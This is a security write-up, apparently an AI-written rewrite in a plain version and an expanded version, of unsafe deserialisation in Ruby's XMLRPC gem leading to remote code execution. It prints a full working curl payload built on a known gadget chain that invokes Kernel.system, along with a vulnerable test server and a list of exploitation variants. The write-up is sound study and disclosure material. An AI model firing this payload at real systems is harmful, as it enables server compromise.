Skip to content
RCE Write-up Advanced

Identifying and Exploiting Unsafe Deserialization in Ruby

The XMLRPC gem's parser honoured a special class annotation inside XML struct values, letting an attacker name any Ruby class and set its instance variables. By supplying a known gadget chain, the author turned this into remote code execution on the server.

Plenum Follow

Published on medium.com

{{media:0}}

Plenum, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

This is an account of finding and exploiting unsafe deserialisation in a Ruby on Rails application, leading to remote code execution. The target was an RPC service. The researcher does not name the application or the programme, and the report gives no bounty or severity figures.

The feature involved is XML-RPC request handling. An XML-RPC server receives an XML document describing a method call and its parameters, parses it, and dispatches the call to a registered handler. The parsing is done by the XMLRPC gem, and the report focuses on how that gem turns XML <struct> elements into Ruby objects.

The author's stated motivation is that deserialisation research in Ruby is thin compared with .NET and Java, and what exists is usually about YAML input, as in CVE-2013-0156. The point of the article is that Ruby deserialisation is not always about YAML and can be reached through other data formats. The author cites the Black Hat paper by Alvaro Muñoz and Oleksandr Mirosh on JSON attacks in Java and .NET as prior art for the general idea.

Setup

No accounts, roles or versions are described. The only precondition the report establishes is that the application processes XML-RPC requests with the XMLRPC gem, and that marshalling is enabled in that gem's configuration. The author notes that ENABLE_MARSHALLING is set to true by default in lib/xmlrpc/config.rb.

The proof of concept is a small self-contained server built with WEBrick and the XMLRPC gem, listening on port 8080 and mounting the servlet at /RPC2. It registers a single handler named greeting that prints its first argument.

Finding it

The researcher was examining an RPC service and fuzzing it. The fuzzing produced exception messages, and those messages revealed which gem was processing the requests. At that point the author was not familiar with Ruby on Rails and did not yet understand the extent of the problem; the understanding came later.

With the gem identified as XMLRPC, the author read its source and found the behaviour that makes the attack possible. The entry point is process, which parses the incoming data with parseMethodCall and then dispatches the resulting method name and parameters:

Ruby
def process(data) method, params = parser().parseMethodCall(data) handle(method, *params)end

parseMethodCall parses the document, rejects a call with no method name, and returns the method name together with the parsed parameters:

Ruby
def parseMethodCall(str)   parser = @parser_class.new   parser.parse(str)   raise "No valid method call - missing method name!" if parser.method_name.nil?   [parser.method_name, parser.params]end

The params method walks the <params> node, iterating over each <param> child and calling param on it:

Ruby
def params(node, call=true)        nodeMustBe(node, "params")        if call          node.childNodes.to_a.collect do |n|            param(n)          end        else # response (only one param)          hasOnlyOneChild(node)          param(node.firstChild)        end end
Ruby
def param(node)        nodeMustBe(node, "param")        hasOnlyOneChild(node, "value")        value(node.firstChild) end

value inspects the element and converts the data according to its type. The interesting branch is struct, which is called when the element is a struct:

Ruby
 def value(node)      ...        when :ELEMENT          case child.nodeName      ...          when "struct"           then struct(child)          when "array"            then array(child)      ... end

The struct method is where the vulnerability lives:

Ruby
 def self.struct(hash)      # convert to marshalled object      klass = hash["___class___"]      if klass.nil? or Config::ENABLE_MARSHALLING == false  # Check if        hash      else        begin          mod = Module          klass.split("::").each {|const| mod = mod.const_get(const.strip)}          obj = mod.allocate          hash.delete "___class___"          hash.each {|key, value|            obj.instance_variable_set("@#{ key }", value) if key =~ /^([a-zA-Z_]\w*)$/          }          obj        rescue          hash        end      end    end

If the struct carries a ___class___ member and marshalling is enabled, the gem resolves that name to a constant, allocates an instance of it, and sets instance variables on that instance from the remaining members. In other words, the XML input chooses which Ruby class gets instantiated and what its internal state is. That is attacker-controlled object construction, and it is the primitive needed for a gadget chain.

Exploitation

Step 1: Understand the struct format

The author first works out how to express an object in XML. A struct with a ___class___ member naming a class and a further member naming a variable produces an instance of that class with that instance variable set:

XML
<struct><member><name>___class___</name><value>MYCLASS</value></member><member><name>MYVAR</name><value>test</value></member></struct>

In this example XMLRPC creates an instance of MYCLASS and sets its instance variable MYVAR to test. The variable name is prefixed with @ by the gem, and only names matching /^([a-zA-Z_]\w*)$/ are set.

Step 2: Choose a gadget chain

With the ability to allocate arbitrary classes and set their instance variables, the remaining problem is finding a chain of classes whose state, when set this way, leads to code execution. The author used the universal deserialisation gadget for Ruby 2.x and 3.x published by vakzz, and built it into the correct format by trial and error. The report does not reproduce the chain analysis itself; it points to that article for the details.

Step 3: Stand up a test server

The proof of concept server is saved as rpc.rb:

Ruby
require 'xmlrpc/server'require 'xmlrpc/marshal'require 'webrick'class MyXMLRPCServlet < WEBrick::HTTPServlet::AbstractServlet  def initialize(server)    @xmlrpc_server = XMLRPC::BasicServer.new    @xmlrpc_server.add_handler('greeting') do |firstname|      puts firstname    end  end  def do_POST(req, res)    content = @xmlrpc_server.process(req.body)    res.status = 200    res['Content-Type'] = 'text/xml; charset=utf-8'    res.body = content  endendserver = WEBrick::HTTPServer.new(  Port: 8080)server.mount('/RPC2', MyXMLRPCServlet)trap('INT') { server.shutdown }puts "Starting XML-RPC server on [redacted]:8080..."server.start

This mirrors the vulnerable pattern: a BasicServer whose process method is handed the raw POST body, with a greeting handler registered. The handler itself is irrelevant to the exploit; it only gives the request a valid method name to call.

Step 4: Send the payload

The exploit is a single POST to /RPC2 whose body is an XML-RPC method call to greeting. The parameter is an array of nested structs, each naming a class through ___class___ and setting instance variables on it:

Bash
curl -i -s -k -X 'POST' --data-binary '<?xml version=\"1.0\" ?><methodCall><methodName>greeting</methodName><params><param><value><array><data><value><struct><member><name>___class___</name><value><string>Gem::Installer</string></value></member><member><name>i</name><value><string>x</string></value></member></struct></value><value><struct><member><name>___class___</name><value><string>Gem::SpecFetcher</string></value></member><member><name>i</name><value><string>y</string></value></member></struct></value><value><struct><member><name>___class___</name><value><string>Gem::Requirement</string></value></member><member><name>requirements</name><value><struct><member><name>___class___</name><value><string>Gem::Package::TarReader</string></value></member><member><name>io</name><value><struct><member><name>___class___</name><value><string>Net::BufferedIO</string></value></member><member><name>io</name><value><struct><member><name>___class___</name><value><string>Gem::Package::TarReader::Entry</string></value></member><member><name>read</name><value><i4>0</i4></value></member><member><name>header</name><value><string>abc</string></value></member></struct></value></member><member><name>debug_output</name><value><struct><member><name>___class___</name><value><string>Net::WriteAdapter</string></value></member><member><name>socket</name><value><struct><member><name>___class___</name><value><string>Gem::RequestSet</string></value></member><member><name>sets</name><value><struct><member><name>___class___</name><value><string>Net::WriteAdapter</string></value></member><member><name>socket</name><value><string>Kernel</string></value></member><member><name>method_id</name><value><string>system</string></value></member></struct></value></member><member><name>git_set</name><value><string>id >/tmp/xmlrpc.txt</string></value></member></struct></value></member><member><name>method_id</name><value><string>resolve</string></value></member></struct></value></member></struct></value></member><member><name>method_id</name><value><string>resolve</string></value></member></struct></value></member></struct></value></data></array></value></param></params></methodCall>' 'http://localhost:8080/RPC2'

The important parts of the body:

  1. <methodName>greeting</methodName> names the registered handler, so the call is dispatched normally.
  2. The single <param> contains an <array> of <struct> elements. Each struct's ___class___ member selects a class: Gem::Installer, Gem::SpecFetcher, Gem::Requirement, Gem::Package::TarReader, Net::BufferedIO, Gem::Package::TarReader::Entry, Net::WriteAdapter, Gem::RequestSet, and a second Net::WriteAdapter.
  3. The nested members wire the objects together: requirements, io, debug_output, socket, sets, git_set, method_id, read and header.
  4. The innermost Net::WriteAdapter has socket set to the string Kernel and method_id set to system, which is the pair that turns a later write into a call to Kernel.system.
  5. git_set holds the command to run: id >/tmp/xmlrpc.txt.
  6. The method_id members set to resolve on the outer objects drive the chain when the objects are used.

Step 5: Confirm execution

The report states that after the request, the file /tmp/xmlrpc.txt should be created. That file is the output of the id command, which demonstrates code execution on the server. No HTTP response body is shown.

Root cause

The flaw is in XMLRPC::Parser.struct. It treats the ___class___ member of an incoming struct as a class name, resolves it with const_get, allocates an instance with mod.allocate, and populates instance variables from the attacker-supplied members with instance_variable_set. Deserialisation therefore instantiates arbitrary classes chosen by the client and lets the client set their internal state directly, bypassing initialisers and any validation they might perform.

The only guard is the ENABLE_MARSHALLING configuration flag, which is true by default. When it is on, any class reachable by constant lookup can be named by the attacker. The rescue clause in struct returns the plain hash on error.

Impact

An attacker who can send XML-RPC requests to an application using this gem, with marshalling left at its default, can construct arbitrary Ruby objects and, with a suitable gadget chain, achieve remote code execution. The report demonstrates this with a command that writes the output of id to a file on the server. The impact depends on the RPC endpoint being reachable and on a usable gadget chain being available.

Fix

The report does not describe a fix applied to the target application. The code checks ENABLE_MARSHALLING; when it is false, struct returns the plain hash instead of instantiating a class. More generally, untrusted input should not be allowed to name classes or set instance variables during deserialisation.

Variants to test

  1. Send a struct with a ___class___ member naming a harmless class and a variable member, and observe whether the server behaves differently from the same request without ___class___. A difference indicates marshalling is enabled.
  2. Try the same struct construction through other XML-RPC entry points, such as different mounted paths or handlers, since the parsing happens before dispatch and does not depend on which method is called.
  3. Test whether the application accepts other formats that reach the same object construction, for example JSON or YAML endpoints, since the author's point is that Ruby deserialisation is not limited to YAML.
  4. Probe for exception messages during fuzzing of RPC endpoints; as in this case, an error string can reveal the gem in use.
  5. If a chain is blocked, look for other classes loaded in the application that expose a useful method through an instance variable set at allocation time, and check whether the resulting object is later used by the handler.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher was looking at a service that accepts remote procedure calls (RPC). In simple terms, an RPC service is a way for one program to ask another program to run a function, almost like sending a letter that says "please run the function called greeting and give it this data". The service was written in Ruby on Rails, a popular framework for building web applications in the Ruby programming language.

While poking at the service with random or malformed input (a practice called fuzzing), the researcher caused the service to return error messages. Those messages revealed which piece of Ruby software, called a gem, was handling the requests. A gem is Ruby's word for a reusable library, similar to an app or plugin you install to add features. The gem in question was XMLRPC, which implements XML-RPC: a protocol where the request and response are formatted as XML, a text format that uses tags like <name> and </name> to label data.

Reading the gem's source code, the researcher found that when the gem encounters a particular XML element called <struct>, it can be tricked into creating an instance of any Ruby class named in the request and setting that object's internal variables to values chosen by the sender. A class is a blueprint for an object; an instance is one object built from that blueprint. Setting internal variables directly, without going through the class's normal setup code, is dangerous because it bypasses checks the class would normally perform.

By chaining several such objects together in a carefully chosen order, the researcher made the server run a command of their choice. This is called remote code execution: the attacker, sitting at a keyboard somewhere else, gets the server to execute commands. The command used here was id, which prints information about the user the server process runs as, and the report says a file on the server should be created.

The author's broader point is that this kind of flaw, called unsafe deserialisation, is not limited to YAML (another text format often used for configuration) in Ruby. It can appear in other data formats too, just as researchers had already shown for Java and .NET.

Plenum
Plenum From the original on medium.com

Background: why this matters

Deserialisation is the process of turning a stored or transmitted representation of an object back into a live object in memory. Think of serialisation as writing down a recipe and deserialisation as cooking from that recipe. If an attacker can write the recipe, they can choose what gets cooked.

Most published research on deserialisation bugs focuses on .NET and Java. Ruby has much less, and what exists usually concerns YAML input, as in CVE-2013-0156. The author refers to a Black Hat paper by Alvaro Muñoz and Oleksandr Mirosh about JSON attacks in Java and .NET to show that the general idea is well known in other languages. The article's contribution is to show the same class of problem reachable through XML-RPC in Ruby.

Gathering information

The researcher was examining an RPC service and fuzzing it. Fuzzing means sending lots of unexpected or malformed inputs to see how the system reacts. The service returned exception messages, and those messages hinted at the exact gem processing the requests. At first the author was not familiar with Ruby on Rails and did not grasp how serious the issue was; the understanding came with time.

Once the gem was identified as XMLRPC, the author read its source code and found the interesting behaviour. The entry point is a method called process, which parses the incoming data with parseMethodCall and then hands the resulting method name and parameters to the handler:

Ruby
def process(data) method, params = parser().parseMethodCall(data) handle(method, *params)end

Line by line:

  • def process(data) defines a method named process that takes one argument, data, which is the raw request body.
  • method, params = parser().parseMethodCall(data) creates a parser, asks it to parse the data, and stores the two returned values: the method name and the parameters.
  • handle(method, *params) calls the registered handler for that method name, spreading the parameters out as separate arguments.
  • end closes the method definition.

parseMethodCall parses the document, rejects a call with no method name, and returns the method name together with the parsed parameters:

Ruby
def parseMethodCall(str)   parser = @parser_class.new   parser.parse(str)   raise "No valid method call - missing method name!" if parser.method_name.nil?   [parser.method_name, parser.params]end

Line by line:

  • def parseMethodCall(str) defines the method, taking the XML string.
  • parser = @parser_class.new creates a new parser object from the configured parser class.
  • parser.parse(str) feeds the XML string into the parser.
  • raise "No valid method call - missing method name!" if parser.method_name.nil? stops with an error if no method name was found.
  • [parser.method_name, parser.params] returns a two-element list: the method name and the parsed parameters.
  • end closes the method.

The params method walks the <params> node, iterating over each <param> child and calling param on it:

Ruby
def params(node, call=true)        nodeMustBe(node, "params")        if call          node.childNodes.to_a.collect do |n|            param(n)          end        else # response (only one param)          hasOnlyOneChild(node)          param(node.firstChild)        end end

Line by line:

  • def params(node, call=true) defines the method, taking an XML node and a flag saying whether this is a call or a response.
  • nodeMustBe(node, "params") checks that the node really is a <params> element.
  • if call branches on the flag.
  • node.childNodes.to_a.collect do |n| turns the child nodes into a list and processes each one.
  • param(n) handles each individual <param> child.
  • end closes the block.
  • else # response (only one param) handles the response case, which has exactly one parameter.
  • hasOnlyOneChild(node) checks there is only one child.
  • param(node.firstChild) processes that single child.
  • end closes the conditional and the method.
Ruby
def param(node)        nodeMustBe(node, "param")        hasOnlyOneChild(node, "value")        value(node.firstChild) end

Line by line:

  • def param(node) defines the method for one parameter.
  • nodeMustBe(node, "param") checks the node is a <param> element.
  • hasOnlyOneChild(node, "value") checks it has exactly one <value> child.
  • value(node.firstChild) passes that child to the value method.
  • end closes the method.

value inspects the element and converts the data according to its type. The interesting branch is struct, which is called when the element is a struct:

Ruby
 def value(node)      ...        when :ELEMENT          case child.nodeName      ...          when "struct"           then struct(child)          when "array"            then array(child)      ... end

Line by line:

  • def value(node) defines the method that converts an XML value into a Ruby value.
  • when :ELEMENT is a branch for element nodes.
  • case child.nodeName looks at the name of the child element.
  • when "struct" then struct(child) calls the struct method when the element is a struct.
  • when "array" then array(child) calls the array method when the element is an array.
  • end closes the case and the method.

The struct method is where the vulnerability lives:

Ruby
 def self.struct(hash)      # convert to marshalled object      klass = hash["___class___"]      if klass.nil? or Config::ENABLE_MARSHALLING == false  # Check if        hash      else        begin          mod = Module          klass.split("::").each {|const| mod = mod.const_get(const.strip)}          obj = mod.allocate          hash.delete "___class___"          hash.each {|key, value|            obj.instance_variable_set("@#{ key }", value) if key =~ /^([a-zA-Z_]\w*)$/          }          obj        rescue          hash        end      end    end

Line by line:

  • def self.struct(hash) defines a class-level method that receives the struct's members as a hash (a collection of key and value pairs).
  • klass = hash["___class___"] reads the special member named ___class___, which is supposed to name a class.
  • if klass.nil? or Config::ENABLE_MARSHALLING == false checks whether no class was named or whether marshalling is turned off.
  • hash returns the plain hash unchanged in that case.
  • else begins the dangerous path.
  • begin starts a block where errors can be caught.
  • mod = Module starts from the top-level Module constant.
  • klass.split("::").each {|const| mod = mod.const_get(const.strip)} splits the class name on :: and looks up each part in turn, so Gem::Installer becomes the constant Gem::Installer.
  • obj = mod.allocate creates an instance of that class without running its normal initialisation code.
  • hash.delete "___class___" removes the special member so it is not treated as a variable.
  • hash.each {|key, value| loops over the remaining members.
  • obj.instance_variable_set("@#{ key }", value) if key =~ /^([a-zA-Z_]\w*)$/ sets an instance variable on the new object, but only if the name looks like a valid variable name.
  • obj returns the constructed object.
  • rescue catches any error.
  • hash returns the plain hash if something went wrong.
  • end closes the blocks and the method.

In other words, the XML input chooses which Ruby class gets instantiated and what its internal state is. That is attacker-controlled object construction, and it is the primitive needed for a gadget chain. A gadget chain is a sequence of existing classes, each harmless on its own, that when wired together in a particular way cause something harmful, like running a command.

Exploitation

Step 1: Understand the struct format

The author first works out how to express an object in XML. A struct with a ___class___ member naming a class and a further member naming a variable produces an instance of that class with that instance variable set:

XML
<struct><member><name>___class___</name><value>MYCLASS</value></member><member><name>MYVAR</name><value>test</value></member></struct>

Line by line:

  • <struct> opens a struct element, which the gem treats as a request to build an object.
  • <member> opens the first member.
  • <name>___class___</name> names the member ___class___, the special marker the gem looks for.
  • <value>MYCLASS</value> gives the class name to instantiate.
  • </member> closes the first member.
  • <member> opens the second member.
  • <name>MYVAR</name> names the variable to set.
  • <value>test</value> gives the value to assign.
  • </member> closes the second member.
  • </struct> closes the struct.

In this example XMLRPC creates an instance of MYCLASS and sets its instance variable MYVAR to test. The variable name is prefixed with @ by the gem, and only names matching /^([a-zA-Z_]\w*)$/ are set.

Step 2: Choose a gadget chain

With the ability to allocate arbitrary classes and set their instance variables, the remaining problem is finding a chain of classes whose state, when set this way, leads to code execution. The author used the universal deserialisation gadget for Ruby 2.x and 3.x published by vakzz, and built it into the correct format by trial and error. The report does not reproduce the chain analysis itself; it points to that article for the details.

Step 3: Stand up a test server

The proof of concept server is saved as rpc.rb:

Ruby
require 'xmlrpc/server'require 'xmlrpc/marshal'require 'webrick'class MyXMLRPCServlet < WEBrick::HTTPServlet::AbstractServlet  def initialize(server)    @xmlrpc_server = XMLRPC::BasicServer.new    @xmlrpc_server.add_handler('greeting') do |firstname|      puts firstname    end  end  def do_POST(req, res)    content = @xmlrpc_server.process(req.body)    res.status = 200    res['Content-Type'] = 'text/xml; charset=utf-8'    res.body = content  endendserver = WEBrick::HTTPServer.new(  Port: 8080)server.mount('/RPC2', MyXMLRPCServlet)trap('INT') { server.shutdown }puts "Starting XML-RPC server on [redacted]:8080..."server.start

Line by line:

  • require 'xmlrpc/server' loads the XML-RPC server code.
  • require 'xmlrpc/marshal' loads the marshalling code.
  • require 'webrick' loads WEBrick, a small web server library that comes with Ruby.
  • class MyXMLRPCServlet < WEBrick::HTTPServlet::AbstractServlet defines a servlet, a class that handles HTTP requests, inheriting from WEBrick's base servlet.
  • def initialize(server) defines the setup method that runs when the servlet is created.
  • @xmlrpc_server = XMLRPC::BasicServer.new creates the XML-RPC server object.
  • @xmlrpc_server.add_handler('greeting') do |firstname| registers a handler named greeting that takes one argument.
  • puts firstname prints that argument.
  • end closes the handler block.
  • end closes the setup method.
  • def do_POST(req, res) defines the method that handles POST requests, where req is the request and res is the response.
  • content = @xmlrpc_server.process(req.body) passes the raw request body to the vulnerable process method.
  • res.status = 200 sets the HTTP status to 200 (OK).
  • res['Content-Type'] = 'text/xml; charset=utf-8' sets the response content type to XML.
  • res.body = content puts the result into the response body.
  • end closes the method.
  • end closes the servlet class.
  • server = WEBrick::HTTPServer.new( starts creating a web server.
  • Port: 8080) sets it to listen on port 8080.
  • server.mount('/RPC2', MyXMLRPCServlet) attaches the servlet at the path /RPC2.
  • trap('INT') { server.shutdown } makes Ctrl+C shut the server down cleanly.
  • puts "Starting XML-RPC server on [redacted]:8080..." prints a startup message.
  • server.start starts the server.

This mirrors the vulnerable pattern: a BasicServer whose process method is handed the raw POST body, with a greeting handler registered. The handler itself is irrelevant to the exploit; it only gives the request a valid method name to call.

Step 4: Send the payload

The exploit is a single POST to /RPC2 whose body is an XML-RPC method call to greeting. The parameter is an array of nested structs, each naming a class through ___class___ and setting instance variables on it:

Bash
curl -i -s -k -X 'POST' --data-binary '<?xml version=\"1.0\" ?><methodCall><methodName>greeting</methodName><params><param><value><array><data><value><struct><member><name>___class___</name><value><string>Gem::Installer</string></value></member><member><name>i</name><value><string>x</string></value></member></struct></value><value><struct><member><name>___class___</name><value><string>Gem::SpecFetcher</string></value></member><member><name>i</name><value><string>y</string></value></member></struct></value><value><struct><member><name>___class___</name><value><string>Gem::Requirement</string></value></member><member><name>requirements</name><value><struct><member><name>___class___</name><value><string>Gem::Package::TarReader</string></value></member><member><name>io</name><value><struct><member><name>___class___</name><value><string>Net::BufferedIO</string></value></member><member><name>io</name><value><struct><member><name>___class___</name><value><string>Gem::Package::TarReader::Entry</string></value></member><member><name>read</name><value><i4>0</i4></value></member><member><name>header</name><value><string>abc</string></value></member></struct></value></member><member><name>debug_output</name><value><struct><member><name>___class___</name><value><string>Net::WriteAdapter</string></value></member><member><name>socket</name><value><struct><member><name>___class___</name><value><string>Gem::RequestSet</string></value></member><member><name>sets</name><value><struct><member><name>___class___</name><value><string>Net::WriteAdapter</string></value></member><member><name>socket</name><value><string>Kernel</string></value></member><member><name>method_id</name><value><string>system</string></value></member></struct></value></member><member><name>git_set</name><value><string>id >/tmp/xmlrpc.txt</string></value></member></struct></value></member><member><name>method_id</name><value><string>resolve</string></value></member></struct></value></member></struct></value></member><member><name>method_id</name><value><string>resolve</string></value></member></struct></value></member></struct></value></data></array></value></param></params></methodCall>' 'http://localhost:8080/RPC2'

Line by line:

  • curl is a command-line tool for sending HTTP requests.
  • -i asks curl to include the response headers in the output.
  • -s makes curl quiet, hiding progress information.
  • -k tells curl to ignore certificate errors, which is useful for local testing.
  • -X 'POST' sets the HTTP method to POST, the method used to send data to a server.
  • --data-binary '...' sends the quoted string as the raw request body.
  • The body starts with <?xml version=\"1.0\" ?>, an XML declaration.
  • <methodCall> opens the method call.
  • <methodName>greeting</methodName> names the registered handler, so the call is dispatched normally.
  • <params> opens the parameter list.
  • <param> opens the single parameter.
  • <value><array><data> wraps the parameter as an array of values.
  • Each <value><struct> block builds one object, with <member><name>___class___</name><value><string>...</string></value></member> selecting the class and further members setting variables.
  • The classes named are Gem::Installer, Gem::SpecFetcher, Gem::Requirement, Gem::Package::TarReader, Net::BufferedIO, Gem::Package::TarReader::Entry, Net::WriteAdapter, Gem::RequestSet, and a second Net::WriteAdapter.
  • The nested members wire the objects together: requirements, io, debug_output, socket, sets, git_set, method_id, read and header.
  • The innermost Net::WriteAdapter has socket set to the string Kernel and method_id set to system, which is the pair that turns a later write into a call to Kernel.system.
  • git_set holds the command to run: id >/tmp/xmlrpc.txt.
  • The method_id members set to resolve on the outer objects drive the chain when the objects are used.
  • </data></array></value></param></params></methodCall> closes all the open elements.
  • 'http://localhost:8080/RPC2' is the URL the request is sent to.

Step 5: Confirm execution

The report states that after the request, the file /tmp/xmlrpc.txt should be created. That file is the output of the id command, which demonstrates code execution on the server. No HTTP response body is shown.

Root cause

The flaw is in XMLRPC::Parser.struct. It treats the ___class___ member of an incoming struct as a class name, resolves it with const_get, allocates an instance with mod.allocate, and populates instance variables from the attacker-supplied members with instance_variable_set. Deserialisation therefore instantiates arbitrary classes chosen by the client and lets the client set their internal state directly, bypassing initialisers and any validation they might perform.

The only guard is the ENABLE_MARSHALLING configuration flag, which is true by default. When it is on, any class reachable by constant lookup can be named by the attacker. The rescue clause in struct returns the plain hash on error.

Impact

An attacker who can send XML-RPC requests to an application using this gem, with marshalling left at its default, can construct arbitrary Ruby objects and, with a suitable gadget chain, achieve remote code execution. The report demonstrates this with a command that writes the output of id to a file on the server. The impact depends on the RPC endpoint being reachable and on a usable gadget chain being available.

Fix

The report does not describe a fix applied to the target application. The code checks ENABLE_MARSHALLING; when it is false, struct returns the plain hash instead of instantiating a class. More generally, untrusted input should not be allowed to name classes or set instance variables during deserialisation.

Variants to test

  1. Send a struct with a ___class___ member naming a harmless class and a variable member, and observe whether the server behaves differently from the same request without ___class___. A difference indicates marshalling is enabled.
  2. Try the same struct construction through other XML-RPC entry points, such as different mounted paths or handlers, since the parsing happens before dispatch and does not depend on which method is called.
  3. Test whether the application accepts other formats that reach the same object construction, for example JSON or YAML endpoints, since the author's point is that Ruby deserialisation is not limited to YAML.
  4. Probe for exception messages during fuzzing of RPC endpoints; as in this case, an error string can reveal the gem in use.
  5. If a chain is blocked, look for other classes loaded in the application that expose a useful method through an instance variable set at allocation time, and check whether the resulting object is later used by the handler.

Glossary

  • API: a defined way for one program to talk to another, like a menu of functions you are allowed to call.
  • Class: a blueprint in object-oriented programming that describes what an object will contain and do.
  • Constant: a named value in Ruby that is looked up by name, such as a class name.
  • Deserialisation: turning a stored or transmitted representation of an object back into a live object in memory.
  • ENABLE_MARSHALLING: a configuration flag in the XMLRPC gem that, when true, allows structs to instantiate classes.
  • Fuzzing: sending lots of unexpected or malformed inputs to a system to see how it reacts.
  • Gadget chain: a sequence of existing classes that, when wired together in a particular way, cause a harmful effect such as running a command.
  • Gem: Ruby's term for a reusable library or package.
  • Hash: a collection of key and value pairs, like a dictionary.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Instance: one object built from a class blueprint.
  • Instance variable: a variable that belongs to one object and holds its internal state.
  • JSON: a text format for structured data using braces and brackets.
  • Marshalling: the process of converting an object into a format that can be stored or transmitted.
  • Method: a named block of code that performs an action, similar to a function.
  • Object: a live thing in memory created from a class, with its own data and behaviour.
  • Parameter: a value passed into a method or function.
  • POST: an HTTP method used to send data to a server.
  • Remote code execution: getting a server to run commands chosen by an attacker.
  • RPC: remote procedure call, a way for one program to ask another to run a function.
  • Ruby on Rails: a framework for building web applications in Ruby.
  • Servlet: a class that handles HTTP requests in a web server.
  • Struct: in XML-RPC, an XML element that groups named members, similar to a record or object.
  • XML: a text format that uses tags to label data.
  • XML-RPC: a protocol that sends remote procedure calls as XML documents.
  • YAML: a human-readable text format often used for configuration files.

More by Plenum

View all

5 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.